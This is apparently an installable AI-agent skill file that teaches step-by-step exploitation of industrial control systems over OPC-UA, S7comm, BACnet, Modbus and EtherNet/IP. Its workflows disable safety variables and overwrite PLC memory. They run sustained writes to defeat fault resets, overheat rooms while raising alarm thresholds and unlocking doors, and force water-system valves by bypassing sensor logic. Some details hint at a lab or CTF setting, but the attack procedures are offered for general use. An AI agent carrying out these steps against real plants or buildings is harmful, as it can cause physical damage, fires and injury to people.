Awesome-omni-skill ics-exploitation

Exploit Industrial Control Systems using OPC-UA, S7comm, BACnet, Modbus, and EtherNet/IP protocols. Use for ICS, SCADA, PLC, building automation, HVAC, water systems, and industrial protocol security assessments.

install
source · Clone the upstream repo
git clone https://github.com/diegosouzapw/awesome-omni-skill
Claude Code · Install into ~/.claude/skills/
T=$(mktemp -d) && git clone --depth=1 https://github.com/diegosouzapw/awesome-omni-skill "$T" && mkdir -p ~/.claude/skills && cp -r "$T/skills/tools/ics-exploitation" ~/.claude/skills/diegosouzapw-awesome-omni-skill-ics-exploitation && rm -rf "$T"
manifest: skills/tools/ics-exploitation/SKILL.md
source content

ICS Exploitation Skill

This skill teaches how to use the ICS Exploitation MCP for industrial control system security assessment. Supports 5 industrial protocols: OPC-UA, S7comm, BACnet, Modbus, and EtherNet/IP.

Quick Start

Check Installation

# Via MCP tool
ics_check_installation()

Modbus Attack (3 Steps)

# 1. Connect to Modbus CLI
modbus_connect("192.168.1.1", 502)

# 2. Get status and analyze coil map
modbus_get_status()

# 3. Write coils to control system (slave ID from system documentation)
modbus_write_coil(address=9947, value=True, unit_id=82)  # Enable manual mode
modbus_write_coil(address=52, value=True, unit_id=82)    # Force start output

EtherNet/IP Attack (3 Steps)

# 1. Connect to controller
ethernetip_connect("192.168.1.1", 44818)

# 2. Try reading a tag (if LogixDriver works)
ethernetip_read_tag("Status")

# 3. If tag read fails, read CIP Message Router object
ethernetip_read_cip_object(class_id=0x02, instance=1)
# Check decoded.utf16_le for data

OPC-UA Attack (3 Steps)

# 1. Discover security requirements
opcua_enumerate_endpoints("opc.tcp://target:4840")

# 2. Generate cert and connect (if encryption required)
opcua_generate_cert("./certs")
opcua_connect("opc.tcp://target:4840", "./certs/client_cert.pem", 
              "./certs/client_key.pem", "Basic256Sha256", "SignAndEncrypt")

# 3. Find and exploit writable variables
opcua_find_writable()
opcua_write("ns=2;i=38", "false", "Boolean")

S7comm Attack (3 Steps)

# 1. Connect (note: some systems use non-standard ports)
s7_connect("192.168.1.1", rack=0, slot=0, port=36815)

# 2. Enumerate and read
s7_list_blocks()
s7_db_read(db_number=1, offset=0, size=100)

# 3. Write payload
s7_db_write(db_number=1, offset=0, data="FF" * 128)

BACnet Attack (3 Steps)

# 1. Connect to building automation CLI
bacnet_connect("192.168.1.1", 48103)

# 2. Enumerate writable objects
bacnet_list_objects()
bacnet_find_writable()

# 3. Write to multiple objects at once
bacnet_write_multiple(writes=[
    {"object_type": "analogOutput", "object_id": 21, "value": 100},
    {"object_type": "analogOutput", "object_id": 22, "value": 100}
])

Workflow: OPC-UA Exploitation

Step 1: Enumerate Endpoints

Discover what security the server requires:

result = opcua_enumerate_endpoints("opc.tcp://target:4840")
# Check: result['security_policies']
# Check: result['recommendation']

If "None" in policies: Server accepts unencrypted - connect directly If encryption required: Generate certificate first

Step 2: Generate Certificate (If Needed)

Exploit insecure trust lists with self-signed cert:

certs = opcua_generate_cert("./certs")
# Returns: cert_path, key_path, thumbprint

Step 3: Connect

# Unencrypted
opcua_connect("opc.tcp://target:4840")

# Encrypted with self-signed cert
opcua_connect("opc.tcp://target:4840", 
              cert_path="./certs/client_cert.pem",
              key_path="./certs/client_key.pem",
              security_policy="Basic256Sha256",
              security_mode="SignAndEncrypt")

Step 4: Find Attack Surface

writable = opcua_find_writable()
# Returns list of writable variables with node_id, path, value, data_type

Step 5: Exploit

# Write to disable safety system
opcua_write("ns=2;i=38", "false", "Boolean")

# Change setpoint
opcua_write("ns=2;i=11", "0.0", "Double")

Step 6: Cleanup

opcua_disconnect()

Workflow: S7comm Exploitation

Step 1: Connect to PLC

# Standard port
s7_connect("192.168.1.1", rack=0, slot=0, port=102)

# Non-standard port
s7_connect("192.168.1.1", rack=0, slot=0, port=36815)

Step 2: Enumerate

# Get CPU info
s7_get_cpu_info()

# List all blocks
s7_list_blocks()
# Returns: OB, FB, FC, DB counts and DB numbers

Step 3: Read Data

# Read 100 bytes from DB1 at offset 0
s7_db_read(db_number=1, offset=0, size=100)
# Returns: data_hex, data_bytes, non_zero_bytes

Step 4: Write Payload

# Write hex string
s7_db_write(db_number=1, offset=48, data="FF" * 8)

# Generate pattern payload
payload = s7_generate_payload("all_max", 128)
s7_db_write(db_number=1, offset=0, data=payload['payload'])

Step 5: Sustained Attack (If Faults Reset)

Single offset attack:

# Continuously write to maintain fault condition
s7_sustained_attack(
    db_number=1,
    offset=0,
    data="FF" * 128,
    duration_seconds=60,
    interval_ms=200,
    status_url="http://target:8080/status"  # Optional: polls for success
)

Multi-offset attack (for 3+ simultaneous faults):

# Write to multiple offsets simultaneously
s7_sustained_attack_multi(
    db_number=1,
    writes=[
        {"offset": 0, "data": "FFFFFFFF"},
        {"offset": 32, "data": "00FF"},
        {"offset": 48, "data": "00FF"},
        {"offset": 64, "data": "FFFFFFFF"}
    ],
    duration_seconds=60,
    interval_ms=200,
    status_url="http://target:8080/status"
)

Type-aware writes (proper signed/unsigned handling):

# Use s7_db_write_typed for correct encoding
s7_db_write_typed(db_number=1, offset=32, value=255, data_type="UINT")
s7_db_write_typed(db_number=1, offset=48, value=100.5, data_type="REAL")

Step 6: Monitor Status

s7_monitor_status(
    status_url="http://target:8080/status",
    duration_seconds=30
)

Workflow: BACnet Building Automation Attack

BACnet is used for HVAC, lighting, access control, and fire detection. Common attack: overheat a room by manipulating thermostat while bypassing alarm systems.

Step 1: Connect to BACnet CLI

# Connect to menu-driven BACnet interface
bacnet_connect("192.168.1.1", 48103)

Step 2: Enumerate Objects

# List all building automation objects
objects = bacnet_list_objects()
# Look for: thermostats (analogOutput), alarms (OHAP), doors (multiStateOutput)

Key object types:

TypeDescriptionAccess
analogInputSensors (temperature)Read-only
analogOutputSetpoints (thermostat, OHAP)Read/Write
binaryInputStatus indicatorsRead-only
binaryOutputSwitches (AC)Read/Write
multiStateOutputMulti-value (door locks)Read/Write

Step 3: Write to Multiple Objects

# Write to multiple objects at once
bacnet_write_multiple(writes=[
    {"object_type": "analogOutput", "object_id": 21, "value": 100},
    {"object_type": "analogOutput", "object_id": 22, "value": 100}
])

Step 4: Prepare the Environment

# Write to door and AC controls
bacnet_write(object_type="multiStateOutput", object_id=102, value=2)
bacnet_write(object_type="binaryOutput", object_id=22, value=0)

Step 5: Sustained Write

# Continuously write to maintain state

result = bacnet_sustained_write(
    object_type="analogOutput",
    object_id=21,
    value=100,
    duration_seconds=120,
    interval_seconds=2.0,
    status_url="http://target:8080/data"
)

# Check status history
print(result['status_history'])

Step 6: Cleanup

bacnet_disconnect()

Workflow: Modbus Exploitation

Modbus is used in water systems, power grids, and manufacturing. Common attack: manipulate PLC coils to control valves, pumps, and switches.

Step 1: Connect to Modbus CLI

# Connect to menu-driven Modbus interface
modbus_connect("192.168.1.1", 502)

Step 2: Get System Status

# Retrieve current system state as JSON
status = modbus_get_status()
# Look for: auto_mode, manual_mode, in_valve, out_valve, status

Step 3: Analyze System Documentation

Review available documentation:

  • interface_setup.png: Find PLC slave address and coil mappings
  • PLC_Ladder_Logic.pdf: Understand control flow and mode switching

Key information to extract:

  • Slave address (e.g., 82 decimal = 0x52 hex)
  • Coil addresses (mode control, valves, force commands)

Step 4: Enable Manual Mode

# Switch from auto to manual mode to bypass sensor logic
# Slave ID from system docs, address from coil map
modbus_write_coil(address=9947, value=True, unit_id=82)

Step 5: Manipulate System

# Use force commands or direct coil writes
modbus_write_coil(address=52, value=True, unit_id=82)   # force_start_out
modbus_write_coil(address=26, value=True, unit_id=82)   # cutoff_in

Step 6: Verify Success

# Check status to confirm changes
status = modbus_get_status()
print(status['status'])

Step 7: Cleanup

modbus_disconnect()

Key Insight: Direct valve writes may not work due to ladder logic overrides. Use mode switching and force commands to bypass sensor-driven logic.


Workflow: EtherNet/IP Exploitation

EtherNet/IP uses CIP (Common Industrial Protocol) for Allen-Bradley/Rockwell controllers. Common attack: read tags or CIP objects to find sensitive data.

Step 1: Connect to Controller

# Connect to EtherNet/IP controller (default port 44818)
ethernetip_connect("192.168.1.1", 44818)

# The driver type returned indicates available features:
# - LogixDriver: Full tag access (read/write by name)
# - CIPDriver: Low-level CIP object access only

Step 2: Try Tag Reading (If LogixDriver)

# Attempt to read a tag directly
result = ethernetip_read_tag("Status")

# If error "LogixDriver required", proceed to Step 3

Step 3: Read CIP Objects

# Message Router (class 0x02) often contains hidden data
result = ethernetip_read_cip_object(class_id=0x02, instance=1)

# Check the decoded field for data
print(result['decoded'])  # Look for utf16_le, utf8, or ascii

Step 4: Enumerate CIP Objects

# Scan common CIP classes for accessible data
objects = ethernetip_enumerate_objects()

# Review results for decoded strings
for obj in objects['results']:
    if obj['decoded']:
        print(f"Class {obj['class_id']}, Instance {obj['instance']}: {obj['decoded']}")

Step 5: Cleanup

ethernetip_disconnect()

Common CIP Classes:

ClassHexDescription
Identity0x01Device info (vendor, product)
Message Router0x02May contain sensitive data
Assembly0x04I/O assemblies
Connection Manager0x06Connection management
Symbol0xACTag/symbol information

Key Insight: Data is often UTF-16-LE encoded in Message Router objects. The

read_cip_object
tool auto-decodes multiple encodings.


Workflow: Memory Mapping

When you don't know which memory offsets control what:

# 1. Connect
s7_connect("target", 0, 0, port)

# 2. Scan each byte and observe HMI changes
s7_scan_db_effects(
    db_number=1,
    status_url="http://target:8080/status",
    start_offset=0,
    end_offset=128
)
# Returns: offset_map showing which bytes affect which equipment

Troubleshooting

ProblemSolution
OPC-UA connection refusedCheck port (default 4840), verify OPC-UA server
"Security policy mismatch"Use
opcua_enumerate_endpoints
to find supported policies
S7 "TCP : Unreachable peer"Wrong IP or port, check for non-standard port
S7 "Address out of range"Use
s7_db_get_size()
to check block size
Faults auto-resetUse
s7_sustained_attack
or
bacnet_sustained_write
Need 3+ simultaneous faultsUse
s7_sustained_attack_multi
with multiple offsets
Value wraps to negativeUse
s7_db_write_typed
with correct data type (UINT, UDINT)
No success indicatorMonitor HMI with
s7_monitor_status
, check status API
BACnet "mission failed"Raise OHAP thresholds BEFORE heating
BACnet thermostat resetsUse
bacnet_sustained_write
to override safety reset
BACnet alarm triggersOHAP too low - raise to 200C first
BACnet connection timeoutCheck port, ensure menu-driven CLI is available
Modbus "command sent" but no changeCheck slave ID matches system docs (often not 1)
Modbus valve won't respondUse mode control coils first, then force commands
Modbus wrong address formatUse decimal addresses, MCP converts to hex
EtherNet/IP "LogixDriver failed"Use
read_cip_object
for low-level CIP access
EtherNet/IP tag doesn't existTag may be in CIP object, try
enumerate_objects
EtherNet/IP raw data unreadableCheck
decoded
field for utf16_le encoding
pycomm3 not installed
pip install pycomm3
for EtherNet/IP support

Additional Resources